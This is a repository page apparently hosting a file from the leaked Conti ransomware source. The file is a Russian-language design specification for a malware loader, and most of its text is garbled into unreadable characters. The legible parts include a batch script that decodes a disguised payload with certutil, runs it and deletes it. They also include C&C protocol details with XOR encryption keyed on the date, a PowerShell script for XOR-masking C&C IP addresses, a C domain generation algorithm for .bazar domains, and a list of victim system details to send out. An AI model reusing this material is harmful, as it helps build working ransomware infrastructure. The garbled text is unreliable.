Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

237 lines
11 KiB

  1. ����������� ���������
  2. ����������� �������
  3. ���������� ����������� ����������� ���������, ���������� ����� �����������:
  4. - ��������� ������ (�������� - �� ����� 100�)
  5. - ������ �� ����� �� Windows ������� � Windows 2008/Windows Vista
  6. ��� �������� ���� ������������� ���������� ���������� ������ (js, powershell v2.0), ���� ��������� �������� �� C/C++
  7. - ������ � ������� �������������������� ������������, ��� ������� ������� ���������� � ������ UAC
  8. "�����������" ��������, ��� ��������� ������������ �� ������ � ���������� ������������ ������, �������� ����� ������������ ������.
  9. ��� �� ��������, ��� ��������� ��������� ����� � ������ ������� ��������� � ����-�� ����.
  10. ��� ��� ����� - ��� ������ ����� ������������.
  11. ������� ����������� � ���������� ����� ����������� �� ����� ������, ��� ������������� ��������� � ������.
  12. ����� ����������� ���������� ����� ����� �� ���� ��� ��� (�� ������� 18, ��. �����.��������).
  13. ��� ����� ��������� ������ ���������� ���� � ������������ ����� � ��� ��� ��� ������� (����� ���.������ ��� ����������� ������ ��� ���-�� ���).
  14. ������ ����������:
  15. - ��� ������ ������� �� ������, ����������� ����� �� ������ ����������� (�������� ���� � ����������, ������������, ������ ���, ��.����)
  16. - ���������� ����������� ����������, � �������������� �� ������ ������ �����������
  17. - ������� ���� ��� ������� ��������� ����� � ������������ � ������������
  18. - �������� � ������� ������������ ����, ������������ ���. ���������� - XOR 1 ����, ���� - ������� ���� UTC � ������������� YYYYMMdd, ���������� � hex
  19. �������� 20200128 - ��� hex-������ 3230323030313238 (������ ����� ����������� � 16-������ �������������)
  20. ����� �������� ����� ������ � UTC, ����� ������������ ���������� ���� ��� ����� � ��������� ��������� �����
  21. - ��� ������� ����� ��� �������������, ������������ ������� ��������� � ����������� �������� ������ ���
  22. - ��������� ���������� ���� fileless-�������� - process hollowing, process doppelganging, ��������� � ������ dll �� ������, ���� �������� �������,
  23. ��� ���������� �� ����, ���� � ������������� ����
  24. - ����� ������� ����� �����������
  25. �� ��� ����� �������� ����������� �� ���� ���� �� ������ ���� ������� �� ����
  26. ��� �������������� �������.
  27. ���� ��� ���������� ���������� ���������� ����, ����� ������� �� ��������, ��� ���������� ������ ������������ �������
  28. (process hollowing/process doppelganging) ������ ����� ������ ������ ����������.
  29. ������������ ���������� �������� � ���� .dll:
  30. - ��� ��������� �������� ������� ��������������� ��������, ������������� �������� � ����������� ��������.
  31. � ����� ������, ����� ����� � .dll - ������� DllMain(DLL_PROCESS_ATTACH)
  32. ��������� ������ ������������ ������ ����� ������, ���� �� ������ � ���������� ������������ ������� (inetcpl.cpl -> ����������� -> ��������� ������-�������).
  33. �������������, ��������� ������ �����:
  34. - ��������� ������ .bazar ��������� Emercoin � ������������ �� ��� ������ ��������� ��������
  35. - ��������� ����. ��� ���������� ������������ �������������� ����, ������� � ���. ����������� ������� ������ ���� ���������� ������ (������������ ������)
  36. (������ ������ ������ ������ ����� �� ������ HEAD /update HTTP/1.1 � ��������� X-Tag)
  37. ���������� ������������� �� ������� ����������� ���� � ���� .exe-�����.
  38. ������� ������ ����������� ��������������� � ������� - ��� ������ .exe-����� ����� ������������, ������ �� ����������,
  39. ������ WMI ���.
  40. ������, ��������������� ������� ��������� �����:
  41. - ���� ���������� �������� ����������� � ������������� � ����� ���������:
  42. .txt-����, ���� �����������, ��������, ������� �������� � ����� �������, .cab-����, ���
  43. - ����� �������, ��������� ���� �������� ��� �����������
  44. - ����������� �� .exe, � bootstrap-������ (.bat-����), ��������������� � ����������� ���� ����������
  45. � ��������� ������������� .exe ����� ����������
  46. - bootstrap-������ ���������� ������ ��������� � "�����" �� �������
  47. �������� (������ ���������� � �������, ������ ��� ������������ �������), bootstrap.bat:
  48. @echo off
  49. REM ������� ��������� �� "�����������"
  50. certutil -decode file.crt file.exe
  51. REM ��������� ���������
  52. file.exe
  53. REM ���� ���� ����������� � ���������� ����
  54. ping -n 300 127.0.0.1 > NUL
  55. REM ������� ���������, �.�. ��� ��� ����� ���������� � ��������� ��������
  56. del /f /y file.exe
  57. ��������� �������������� ������ ��������� ������ ����� � ��������� �������� ����� ���� � ��������������� ����.
  58. ���� ������������ ���� ��/�++, ������� ����������� ������ CMake, ����� ����� ����������� ������������ ��� ���������� ��������� �� Microsoft �������������,
  59. �������� mingw, clang.
  60. ��������� �������
  61. ��������� ������� ���������� ����� ��������� ������� ���� ������� � �������� �������� ������� ������ � ����� ������ � ��������� ������������� ������������.
  62. ��� �������� ������� �� ���� SinkHole ����� ��������������� ������� �� ����� �� ���������� ������.
  63. � HTTP-��������� �� ����� HTTP-����� ����������� ������ ���� ���� � ��������, ��������:
  64. Date: YYYY-MM-dd HH:mm:ss
  65. * ������ �������
  66. � HTTP-������ ������ �������������� ��������� Set-Cookie: � ������ ���� SID � ��������� � base64-���������.
  67. �������� ���� �������� �������� �������� ���� (��� �������!)
  68. * ������ �������
  69. ����� �������� ������� ���������� �� ���� HTTP-���������� ������.
  70. ���� ��� �������� �������� ���������� ������� ��������, ������ ��������� �����������������.
  71. ����� ��������� �������� � ����� �������� ���������� ������� (� ����� ������� ���������� ������ ���������, ������� ������ ����������,
  72. � DPI-������� ������ � �����������).
  73. ���� ������� �� ��������, ��� ���� (��� �������) �� ��������� � ���������, ���� ������ ������.
  74. ��������� ������� ������ ���� ������� ��� ������ �� ������� �� ������.
  75. ����� ����������� ���������, ������ ���������� ��� �������� � � ���������� ��������� �� ���������.
  76. ��������� ������� ��������� ��� ������������� ���������� � ��� ����� ������ �������.
  77. ��� ��������� �����������.
  78. ��������� �������
  79. ��� ��������� �������������� �� ������� � �������������� ����� ������ �� ����� �����, ������������ ��������� ������� �� ������� �������.
  80. 1. � ������ HTTP-������ �� ������ ���������� ���� Date � ������������� ������� ���� �� ��������
  81. 2. � ������/��� ��������� �������� ���� ��� �������������� ����������. ���� �������� �� ������ � ������
  82. 3. ������/��� ������ ��������� �������� ���� (����� ��������� "Date: " ������� � ������� ��������� ������� ����� �������), �������� � base64 ���������� ��������,
  83. � �������� � ����� ��������� ���������.
  84. ����� Cookie, �� ������������� - ����� ����� ������������ ��������� � ��������� X- � ����� ������������ ������ (�.�. �����, ������� ��� ������ ������������).
  85. 4. �������� ���������� ����� ��, ��� ��� �������� ������� �������.
  86. ����������� ������ C&C ������� �� ������
  87. ��� ����������� ���������� ������� ������������ ��������� ���������:
  88. 1. ������ "�����" IP-�������
  89. 2. �������-������ �������������� ���� (���������) ������� Emercoin
  90. 3. ��������� ����� ������ �� ������ ������� ���� (��������������� �������� ������� .bazar)
  91. �������� � �.3 ��������� ���, ��� ����� ���� ��������� ������� ���������� ��������� �����,
  92. ��� ��� �� ���������� ����� ����� ��������� ��� �����������,
  93. � � �� �� ����� ����� �������� ���������� �� ������� ������ (������� �����-���������� �����).
  94. �������� �������� � ����������.
  95. ����� �� ��������� 3 ������� ������ ������� �� ����� 5000 ������� �� ���� ���.
  96. ����� ���� ���������� � ������ 1.
  97. ����� ������� ���������� ����� 1..3, ������� ��������� ��������� ������ ������� �� �������� ����� ��������.
  98. ��� ���������� � �������� ������� ��� ��������������� �� �������� ������� (��.����).
  99. ���� ������ ���������, ����� ������������.
  100. � ������ ���� �� ������� ����� �������� ��������� ������ �� 3 ���������������� �������, ������� ���� �����������, ���� ������� ���� �� �������
  101. (������������ ����������� ������).
  102. ����� ������� IP-������ �� ������ Emercoin, ������� ������������� IP-����� ����� �������� XOR 254 ��� ������� ������.
  103. ��������, 124.245.101.251 (������� �� DNS-������) -> 130.11.155.5
  104. �.�. DNS-���������� �������� �������, ����� ������� ���������� �� ������ �� ������ �� DNS-������ �������.
  105. ��� ������� ipxor.ps1 �� PowerShell:
  106. $ip = read-host -prompt "Enter IP";
  107. write-host $ip;
  108. $newip = '';
  109. ($ip.split('.') | foreach {
  110. $octet = [byte] ( $_)
  111. $octet = $octet -bxor 254;
  112. $newip = -join($newip,'.',$octet);
  113. }
  114. )
  115. write-host $newip;
  116. �������� ����������
  117. HEAD / HTTP/1.1
  118. �������� ����������
  119. � ������ ���� ��������� X-Tag, ���������� ������������ ������, ������������ ������ ���������� �� �������.
  120. ���������� ����������, ���� ������ � ��������� ������ �� ��������� � ������� �� �������.
  121. GET / HTTP/1.1
  122. �������� ���� �������� � ��������� ��.
  123. ���������� - XOR 1 ����, ���� - ������� ���� UTC � ������������� YYYYMMdd, ���������� � hex
  124. �������� 20200128 - ��� hex-������ 3230323030313238 (������ ����� ����������� � 16-������ �������������)
  125. POST / HTTP/1.1
  126. �� �� ����� ��� � GET, ���� �������� ���������� � �������.
  127. ���� ������� ������ ���� ����������� ����� ��� ������� ����.
  128. ������ ������� �����������. ��������� � ������ �������� �����������!
  129. �������������� ������ � ���� POST ������������� ����� �� ������ �������.
  130. ���� �����-�� ���� ������ �������� ��� ������� ������� ������, �� �� �� ���������! ��� ������ �������.
  131. ������ ����� ��������:
  132. path=������ ���� � ��������� ����� ������� (���� �� ������������ ��������� fileless ����������)
  133. os=3-7 ���� ���������� major-version, minor-version � build ������������ �������, ���� ������� ������� � �������
  134. (��������, ��� 6.1 build 7600 ��� ����� 617600).
  135. os[1]=������� ���� �� (W=Windows) � ������ ��
  136. os[2]=���� ��
  137. arch=����������� (�����������): 86 ��� 64
  138. cname=��� ����������
  139. uname=��� ������������
  140. domain=��� ������ ��� ������� ������ ���������� �������� ������ ������� WinAPI, �������� NetWkstaGetInfo; ������� �������� ������� ������!)
  141. av[]=��� ����������
  142. ps=������ ���������
  143. �������������
  144. ������� �����������: https://habr.com/ru/post/425177/
  145. ��� ������� Emercoin �����������.
  146. ���������� 1
  147. ��� ��������� ������� �� ������� ����
  148. ��� ������� ������������� �������������, ��� ��� ����������� ���������, ��� � ������ ��� �� ���� ����������� ���������.
  149. ��������������� �������� ������s .bazar
  150. void get_possible_domain(char* domain) {
  151. if (!domain)
  152. return;
  153. for (int i = 0; i < 6; ++i) {
  154. int rndchr = rand() % ('z' - 'a');
  155. rndchr /= i + 6;
  156. char c = 'a' + rndchr + i*2;
  157. domain[i] = c;
  158. }
  159. static char datebuf[24];
  160. static char date[7];
  161. static bool date_computed = false;
  162. if (!date_computed) {
  163. GetDateFormatA(LOCALE_INVARIANT, 0, NULL, NULL, datebuf, sizeof(datebuf));
  164. char mon[3];
  165. char year[5];
  166. for (int i = 0; i < 2; ++i)
  167. mon[i] = datebuf[i];
  168. mon[2] = 0;
  169. for (int i = 0; i < 4; ++i)
  170. year[i] = datebuf[i + 6];
  171. year[4] = 0;
  172. sprintf_s(date, sizeof(date), "%.2d%d", 12 - atoi(mon), atoi(year) - 18);
  173. date_computed = true;
  174. }
  175. for (int i = 6; i < 12; ++i) {
  176. domain[i] = domain[i - 6] + date[i - 6] - '0';
  177. if (domain[i] < 'a')
  178. domain[i] = 'z';
  179. }
  180. domain[12] = 0;
  181. }